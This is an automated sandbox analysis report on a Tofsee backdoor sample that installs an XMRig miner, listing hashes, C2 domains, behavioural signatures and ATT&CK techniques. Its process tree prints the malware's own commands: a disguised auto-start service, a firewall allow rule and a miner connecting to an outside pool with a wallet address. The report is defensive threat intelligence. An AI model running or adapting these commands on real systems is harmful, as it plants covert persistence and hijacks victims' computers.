Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2023 01:00

General

  • Target

    25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe

  • Size

    312KB

  • MD5

    097bc3c7d6f6f50a503fdb7a56e22a34

  • SHA1

    bc801204c76b73ee9e66a9a7bdffd856965604e0

  • SHA256

    25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef

  • SHA512

    7dedbefbe0a0af1d1541374a1a8916eb45d6037c15b8ae36ed28c4dfc0a9d22f5062b584b856b8d32cf5d675f1a718b31b029dc5abcea4c40d8925ae42f05eea

  • SSDEEP

    3072:6AX8ODio3+FCLQbFK+OCQ/KbqAjxBn7UJIdg6hO3Vd+eVRg/5wcw3P3XqT:vPDl5L0FKBDKbzBYd6upvG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe
    "C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tuotsmc\
      2⤵
        PID:1424
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sqabdzci.exe" C:\Windows\SysWOW64\tuotsmc\
        2⤵
          PID:3640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tuotsmc binPath= "C:\Windows\SysWOW64\tuotsmc\sqabdzci.exe /d\"C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tuotsmc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1248
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tuotsmc
          2⤵
          • Launches sc.exe
          PID:2732
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:112
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2092 -s 664
          2⤵
          • Program crash
          PID:4792
      • C:\Windows\SysWOW64\tuotsmc\sqabdzci.exe
        C:\Windows\SysWOW64\tuotsmc\sqabdzci.exe /d"C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3792
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 560
          2⤵
          • Program crash
          PID:3720
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2092 -ip 2092
        1⤵
          PID:228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3792 -ip 3792
          1⤵
            PID:4576

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\sqabdzci.exe
            Filesize

            10.3MB

            MD5

            34bc2b3942ada2591d47a584d4e20b2a

            SHA1

            a3fb3f770975840d67818781bb65acd65e858d93

            SHA256

            26522428d287a7293a904c8f95d00bc3da78757b5632990bfb4d52b89323696c

            SHA512

            a794533a445f5532417829c4f46ba39f0c0aa483ca823171867a09e163abdf0e353605a2df0011f2057f0871e9caad0a851d8400f6c64cd27683e20da200c123

          • C:\Windows\SysWOW64\tuotsmc\sqabdzci.exe
            Filesize

            10.3MB

            MD5

            34bc2b3942ada2591d47a584d4e20b2a

            SHA1

            a3fb3f770975840d67818781bb65acd65e858d93

            SHA256

            26522428d287a7293a904c8f95d00bc3da78757b5632990bfb4d52b89323696c

            SHA512

            a794533a445f5532417829c4f46ba39f0c0aa483ca823171867a09e163abdf0e353605a2df0011f2057f0871e9caad0a851d8400f6c64cd27683e20da200c123

          • memory/2092-139-0x0000000000400000-0x00000000006E9000-memory.dmp
            Filesize

            2.9MB

          • memory/2092-140-0x0000000002430000-0x0000000002443000-memory.dmp
            Filesize

            76KB

          • memory/2092-134-0x0000000002430000-0x0000000002443000-memory.dmp
            Filesize

            76KB

          • memory/3792-146-0x0000000000400000-0x00000000006E9000-memory.dmp
            Filesize

            2.9MB

          • memory/4556-165-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-170-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-144-0x0000000000490000-0x00000000004A5000-memory.dmp
            Filesize

            84KB

          • memory/4556-147-0x0000000000490000-0x00000000004A5000-memory.dmp
            Filesize

            84KB

          • memory/4556-149-0x0000000000490000-0x00000000004A5000-memory.dmp
            Filesize

            84KB

          • memory/4556-150-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4556-153-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4556-154-0x00000000007F0000-0x00000000007F6000-memory.dmp
            Filesize

            24KB

          • memory/4556-157-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-160-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-162-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-161-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-163-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-164-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-166-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-167-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-141-0x0000000000490000-0x00000000004A5000-memory.dmp
            Filesize

            84KB

          • memory/4556-168-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-169-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-145-0x0000000000490000-0x00000000004A5000-memory.dmp
            Filesize

            84KB

          • memory/4556-173-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-171-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-172-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-174-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-175-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-177-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/4556-176-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4556-180-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/4556-181-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/4556-184-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/4556-185-0x00000000025D0000-0x00000000025D7000-memory.dmp
            Filesize

            28KB

          • memory/4972-189-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-194-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-195-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-197-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-198-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-196-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-199-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/4972-200-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB